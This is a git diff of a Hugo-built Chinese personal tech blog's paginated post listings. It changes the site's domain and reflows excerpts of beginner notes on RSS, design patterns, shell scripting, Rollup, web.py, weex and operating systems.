+&lt;?xml version="1.0" encoding="UTF-8" ?> &lt;rss version="2.0"> &lt;channel> &lt;title>小陈的辣鸡屋&lt;/title> &lt;link>https://xiaochenabc123.test.com/&lt;/link> &lt;description>xiaochenabc123.test.com&lt;/description> &lt;item> &lt;title>简单了解设计模式&lt;/title> &lt;link>https://xiaochenabc123.test.com/archives/121.html&lt;/link> &lt;description>&lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]>&lt;/description> &lt;content:encoded xml:lang="zh-CN">xxxxxxx&lt;/content:encoded> &lt;/item> &lt;/channel> &lt;/rss> 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
 RSS注释和HTML的注释一样，
 注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号
 channel元素除了上面那几个外，还有，， ，等等
 元素还有，，，等等
-RSS阅读器可以更好读取RSSfeed</p></div><footer class=entry-footer><span title='2021-12-06 02:32:00 +0000 UTC'>2021-12-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RSS" href=https://xiaochenabc123.github.io/posts/122/></a></article><article class=post-entry><header class=entry-header><h2>简单了解设计模式</h2></header><div class=entry-content><p>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
+RSS阅读器可以更好读取RSSfeed</p></div><footer class=entry-footer><span title='2021-12-06 02:32:00 +0000 UTC'>2021-12-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RSS" href=https://chenjunlinabc.github.io/posts/122/></a></article><article class=post-entry><header class=entry-header><h2>简单了解设计模式</h2></header><div class=entry-content><p>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
 面向过程：逻辑化过程，以逻辑实现
 面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化
 设计模式的好处就是通用可复用，跨语言
@@ -103,8 +57,8 @@
 创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式
 创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象
 结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式
-行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式</p></div><footer class=entry-footer><span title='2021-11-30 15:08:00 +0000 UTC'>2021-11-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解设计模式" href=https://xiaochenabc123.github.io/posts/121/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/6/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/8/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式</p></div><footer class=entry-footer><span title='2021-11-30 15:08:00 +0000 UTC'>2021-11-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解设计模式" href=https://chenjunlinabc.github.io/posts/121/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/6/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/8/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/8/index.html b/posts/page/8/index.html
index e95b4863..842d28fb 100644
--- a/posts/page/8/index.html
+++ b/posts/page/8/index.html
@@ -1,8 +1,6 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>shell脚本学习笔记</h2></header><div class=entry-content><p>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>shell脚本学习笔记</h2></header><div class=entry-content><p>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
 例如：
-#!/bin/bash
-echo "hallo word"
-执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
+#!/bin/bash echo "hallo word" 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
 bash hallo.sh
 也可以直接执行
 ./hallo.sh
@@ -27,12 +25,7 @@
 获取当前脚本shell进程的ID：$$
 获取后台运行的最后一个进程的ID：$!
 配合函数使用（参数也可以通过函数来传递）
-function abc(){
-echo "参数1: $1"
-echo "被执行的脚本为: $0"
-}
-abc hallo
-....</p></div><footer class=entry-footer><span title='2021-11-23 00:01:00 +0000 UTC'>2021-11-23</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to shell脚本学习笔记" href=https://xiaochenabc123.github.io/posts/120/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Rollup模块打包工具</h2></header><div class=entry-content><p>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
+function abc(){ echo "参数1: $1" echo "被执行的脚本为: $0" } abc hallo ....</p></div><footer class=entry-footer><span title='2021-11-23 00:01:00 +0000 UTC'>2021-11-23</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to shell脚本学习笔记" href=https://chenjunlinabc.github.io/posts/120/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Rollup模块打包工具</h2></header><div class=entry-content><p>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
 Rollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的
 注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案
 提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包
@@ -42,36 +35,21 @@
 查看帮助文档
 rollup –help
 打包使用
-rollup -i index.js
-默认输出到终端
+rollup -i index.js 默认输出到终端
 指定输出到哪个文件
-rollup -i index.js --file dist.js
-还可以指定输出模块标准是哪个
-rollup -i index.js --file dist.js --format umd
-rollup -i index.js --file dist.js --format cjs
-rollup -i index.js --file dist.js --format iife
-打包
+rollup -i index.js --file dist.js 还可以指定输出模块标准是哪个
+rollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包
 rollup src/demo.js -f cjs -o dist/bundle.js
 注意：-f是–format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife
 使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中
 rollup src/demo.js -f umd -o dist/bundle.js –name hallo
-在global下声明一个名为hallo的对象，用来挂载全部的export模块...</p></div><footer class=entry-footer><span title='2021-11-10 16:22:00 +0000 UTC'>2021-11-10</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Rollup模块打包工具" href=https://xiaochenabc123.github.io/posts/119/></a></article><article class=post-entry><header class=entry-header><h2>Web.py学习笔记</h2></header><div class=entry-content><p>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
+在global下声明一个名为hallo的对象，用来挂载全部的export模块...</p></div><footer class=entry-footer><span title='2021-11-10 16:22:00 +0000 UTC'>2021-11-10</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Rollup模块打包工具" href=https://chenjunlinabc.github.io/posts/119/></a></article><article class=post-entry><header class=entry-header><h2>Web.py学习笔记</h2></header><div class=entry-content><p>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
 安装web.py
 pip install web.py
 导入模块
 import web
 第一个例子
-import web
-urls = (
-"/(.*)","hallo"
-)
-app = web.application(urls,globals())
-class hallo:
-def GET(self,name):
-return "&lt;h1>hallo web.py&lt;/h1>"
-if __name__=="__main__":
-app.run()
-可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</p></div><footer class=entry-footer><span title='2021-10-18 12:00:00 +0000 UTC'>2021-10-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Web.py学习笔记" href=https://xiaochenabc123.github.io/posts/117/></a></article><article class=post-entry><header class=entry-header><h2>weex跨平台框架学习笔记</h2></header><div class=entry-content><p>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
+import web urls = ( "/(.*)","hallo" ) app = web.application(urls,globals()) class hallo: def GET(self,name): return "&lt;h1>hallo web.py&lt;/h1>" if __name__=="__main__": app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</p></div><footer class=entry-footer><span title='2021-10-18 12:00:00 +0000 UTC'>2021-10-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Web.py学习笔记" href=https://chenjunlinabc.github.io/posts/117/></a></article><article class=post-entry><header class=entry-header><h2>weex跨平台框架学习笔记</h2></header><div class=entry-content><p>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
 支持ES6，跨平台，体积小，性能优异，编写规范
 官网：http://emas.weex.io/zh/
 weex调试工具：weexplayground（可以用来测试，要同局域网下）
@@ -93,7 +71,7 @@
 weex compile 目录或者文件 打包文件存放的目录或者文件 -m
 注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750
 不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形
-运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理</p></div><footer class=entry-footer><span title='2021-10-10 14:00:00 +0000 UTC'>2021-10-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to weex跨平台框架学习笔记" href=https://xiaochenabc123.github.io/posts/116/></a></article><article class=post-entry><header class=entry-header><h2>操作系统学习笔记</h2></header><div class=entry-content><p>操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
+运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理</p></div><footer class=entry-footer><span title='2021-10-10 14:00:00 +0000 UTC'>2021-10-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to weex跨平台框架学习笔记" href=https://chenjunlinabc.github.io/posts/116/></a></article><article class=post-entry><header class=entry-header><h2>操作系统学习笔记</h2></header><div class=entry-content><p>操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
 常见操作系统有Windows，Linux，Android
 操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互
 操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等
@@ -152,8 +130,8 @@
 运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用
 运行可切换到阻塞状态
 阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态
-进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了...</p></div><footer class=entry-footer><span title='2021-10-07 09:00:00 +0000 UTC'>2021-10-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 操作系统学习笔记" href=https://xiaochenabc123.github.io/posts/115/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/7/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/9/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了...</p></div><footer class=entry-footer><span title='2021-10-07 09:00:00 +0000 UTC'>2021-10-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 操作系统学习笔记" href=https://chenjunlinabc.github.io/posts/115/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/7/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/9/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/9/index.html b/posts/page/9/index.html
index 3cbf7663..23779522 100644
--- a/posts/page/9/index.html
+++ b/posts/page/9/index.html
@@ -1,21 +1,10 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 